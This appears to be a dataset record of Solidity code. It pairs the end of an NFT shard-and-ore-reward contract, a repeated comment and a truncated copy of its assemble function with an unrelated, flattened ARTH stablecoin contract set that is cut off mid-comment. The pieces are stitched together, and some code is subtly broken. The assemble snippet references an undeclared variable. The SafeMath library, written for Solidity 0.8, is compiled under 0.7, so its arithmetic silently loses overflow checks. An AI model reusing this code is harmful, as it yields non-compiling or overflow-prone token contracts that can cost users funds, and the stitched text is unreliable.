_tokenIds) external nonReentrant { require(assemblerAddress != address(0), "Assembler not set"); require(msg.sender == assemblerAddress, "Invalid access"); require(_tokenIds.length == 5, "Invalid token ids"); address owner = ownerOf(_tokenIds[0]); // Make sure to still reward the user with any unclaimed ore before burning _updatePendingOre(owner, address(0)); for (uint256 i = 0; i < _tokenIds.length; i++) { _burn(_tokenIds[i]); } shardBalances[owner] -= 5; totalAssembled++; // Calculate the next tokenId for the new assembled token and mint it uint256 nextAssembledId = maxShardSupply + totalAssembled; devourTypes[nextAssembledId] = devourType; _safeMint(owner, nextAssembledId); // Immediately add the weekly claimable ore for the assembled piece to prevent "lost reward" _lastClaimableOreByAddress[owner] += orePerAssembled; } // Helper method to return both shards and assembled pieces owned by the specified owner/account function tokenIdsByOwner(address _owner) external view returns (uint256[] memory, uint256[] memory) { uint256 totalOwned = balanceOf(_owner); uint256 shardOwned = shardBalances[_owner]; uint256 assembledOwned = totalOwned - shardOwned; uint256[] memory shardIds = new uint256[](shardOwned); uint256[] memory assembledIds = new uint256[](assembledOwned); uint256 shardIdx = 0; uint256 assembledIdx = 0; for (uint256 i = 0; i < totalOwned; i++) { uint256 tokenId = tokenOfOwnerByIndex(_owner, i); if (tokenId <= maxShardSupply) { shardIds[shardIdx++] = tokenId; } else { assembledIds[assembledIdx++] = tokenId; } } return (shardIds, assembledIds); } function _getOreClaimWeek() internal view returns (uint256) { uint256 initial = initialOreClaimTimestamp; uint256 timestamp = block.timestamp; // If ore claiming has not been specified, or if it's in the future, return 0 if (initial == 0 || timestamp < initial) { return 0; } // Week starts right within the the next 7 days of the initial claim timestamp return (timestamp - initial) / 1 weeks + 1; } function _getPendingClaimable(address _owner) internal view returns (uint256) { uint256 week = _getOreClaimWeek(); uint256 lastClaimedWeek = lastOreClaimWeekByAddress[_owner]; if (week > lastClaimedWeek) { // Calculate the total pending claimable ore based on the shard and assembled token counts uint256 elapsed = (week - lastClaimedWeek); uint256 shardBalance = shardBalances[_owner]; uint256 assembledBalance = balanceOf(_owner) - shardBalance; return (shardBalance * elapsed * orePerShard) + (assembledBalance * elapsed * orePerAssembled); } return 0; } function _updatePendingOre(address _from, address _to) internal { uint256 week = _getOreClaimWeek(); if (_from != address(0)) { uint256 pendingOre = _getPendingClaimable(_from); if (pendingOre > 0) { _lastClaimableOreByAddress[_from] += pendingOre; lastOreClaimWeekByAddress[_from] = week; } } if (_to != address(0)) { uint256 pendingOre = _getPendingClaimable(_to); if (pendingOre > 0) { _lastClaimableOreByAddress[_to] += pendingOre; lastOreClaimWeekByAddress[_to] = week; } } } function _updateShardBalance(address _from, address _to) internal { if (_from != address(0)) { shardBalances[_from]--; } if (_to != address(0)) { shardBalances[_to]++; } } function setInitialOreClaimTimestamp(uint256 _timestamp) external onlyOwner { initialOreClaimTimestamp = _timestamp; } function claimOre(address _owner) external nonReentrant returns (uint256) { require(msg.sender == oreClaimAddress, "Invalid access"); uint256 totalOre = _lastClaimableOreByAddress[_owner] + _getPendingClaimable(_owner); // Update the tracker states only if needed if (totalOre > 0) { lastOreClaimWeekByAddress[_owner] = _getOreClaimWeek(); _lastClaimableOreByAddress[_owner] = 0; } return totalOre; } function transferFrom(address _from, address _to, uint256 _tokenId) public override { _updatePendingOre(_from, _to); if (_tokenId <= maxShardSupply) { _updateShardBalance(_from, _to); } ERC721.transferFrom(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) public override { _updatePendingOre(_from, _to); if (_tokenId <= maxShardSupply) { _updateShardBalance(_from, _to); } ERC721.safeTransferFrom(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public override { _updatePendingOre(_from, _to); if (_tokenId <= maxShardSupply) { _updateShardBalance(_from, _to); } ERC721.safeTransferFrom(_from, _to, _tokenId, _data); } }
Make sure to still reward the user with any unclaimed ore before burning
function assemble(uint256 devourType, uint256[] calldata _tokenIds) external nonReentrant { require(assemblerAddress != address(0), "Assembler not set"); require(msg.sender == assemblerAddress, "Invalid access"); require(_tokenIds.length == 5, "Invalid token ids"); address owner = ownerOf(_tokenIds[0]); _updatePendingOre(owner, address(0)); for (uint256 i = 0; i < _tokenIds.length; i++) { _burn(_tokenIds[i]); } shardBalances[owner] -= 5; totalAssembled++; devourTypes[nextAssembledId] = devourType; _safeMint(owner, nextAssembledId); }
14,761,636
// File: contracts/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the number of decimals for token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/Arth/IIncentive.sol // /// @title incentive contract interface /// @author Fei Protocol /// @notice Called by FEI token contract when transferring with an incentivized address /// @dev should be appointed as a Minter or Burner as needed interface IIncentiveController { /// @notice apply incentives on transfer /// @param sender the sender address of the FEI /// @param receiver the receiver address of the FEI /// @param operator the operator (msg.sender) of the transfer /// @param amount the amount of FEI transferred function incentivize( address sender, address receiver, address operator, uint256 amount ) external; } // File: contracts/ERC20/IAnyswapV4Token.sol // interface IAnyswapV4Token { function approveAndCall( address spender, uint256 value, bytes calldata data ) external returns (bool); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool); function transferWithPermit( address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external returns (bool); function Swapin( bytes32 txhash, address account, uint256 amount ) external returns (bool); function Swapout(uint256 amount, address bindaddr) external returns (bool); function nonces(address owner) external view returns (uint256); function permit( address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File: contracts/Arth/IARTH.sol // interface IARTH is IERC20, IAnyswapV4Token { function addPool(address pool) external; function removePool(address pool) external; function setGovernance(address _governance) external; function poolMint(address who, uint256 amount) external; function poolBurnFrom(address who, uint256 amount) external; function setIncentiveController(IIncentiveController _incentiveController) external; function genesisSupply() external view returns (uint256); } // File: contracts/utils/Address.sol // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, 'Address: insufficient balance' ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require( success, 'Address: unable to send value, recipient may have reverted' ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, 'Address: low-level call with value failed' ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, 'Address: insufficient balance for call' ); require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, 'Address: low-level static call failed' ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), 'Address: static call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, 'Address: low-level delegate call failed' ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), 'Address: delegate call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/utils/Context.sol // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/utils/math/SafeMath.sol // // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { { require(b > 0, errorMessage); return a % b; } } } // File: contracts/access/Ownable.sol // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), 'Ownable: new owner is the zero address' ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/Staking/Pausable.sol // /// Refer: https://docs.synthetix.io/contracts/Pausable abstract contract Pausable is Ownable { /** * State variables. */ bool public paused; uint256 public lastPauseTime; /** * Event. */ event PauseChanged(bool isPaused); /** * Modifier. */ modifier notPaused { require( !paused, 'Pausable: This action cannot be performed while the contract is paused' ); _; } /** * Constructor. */ constructor() { // This contract is abstract, and thus cannot be instantiated directly require(owner() != address(0), 'Owner must be set'); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * External. */ /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = block.timestamp; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } } // File: contracts/ERC20/ERC20Custom.sol // /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ abstract contract ERC20Custom is Pausable, IERC20 { using SafeMath for uint256; uint256 private _totalSupply; mapping(address => bool) internal _blacklisted; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; /** * Modifiers */ modifier onlyNonBlacklisted(address who) { require(!getIsBlacklisted(who), 'ERC20Custom: address is blacklisted'); _; } /** * Constructor. */ constructor() {} /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Returns if an address is blackListed or not. */ function getIsBlacklisted(address who) public view returns (bool) { return _blacklisted[who]; } /** * @dev Blacklists an address. */ function blacklist(address who) public onlyOwner returns (bool) { if (getIsBlacklisted(who)) return true; _blacklisted[who] = true; return true; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. * * NOTE: The `spender i.e msg.sender` and the `owner` both should not be blacklisted. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override onlyNonBlacklisted(_msgSender()) returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 'ERC20: transfer amount exceeds allowance' ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * * NOTE: The `sender` should not be blacklisted. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual notPaused onlyNonBlacklisted(sender) { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, 'ERC20: transfer amount exceeds balance' ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. * * NOTE: The `account` should not be blacklisted. */ function _mint(address account, uint256 amount) internal virtual onlyNonBlacklisted(account) { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. * * NOTE: The `account` and `burner i.e msg.sender` both should not be blacklisted. */ function burnFrom(address account, uint256 amount) public virtual onlyNonBlacklisted(_msgSender()) { uint256 decreasedAllowance = allowance(account, _msgSender()).sub( amount, 'ERC20: burn amount exceeds allowance' ); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * * NOTE: The `account` should not be blacklisted. */ function _burn(address account, uint256 amount) internal virtual onlyNonBlacklisted(account) { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, 'ERC20: burn amount exceeds balance' ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual onlyNonBlacklisted(_msgSender()) { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub( amount, 'ERC20: burn amount exceeds allowance' ) ); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/utils/introspection/IERC165.sol // /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/utils/introspection/ERC165.sol // /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: contracts/access/AccessControl.sol // /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged( bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole ); /** * @dev Emitted when `account` is 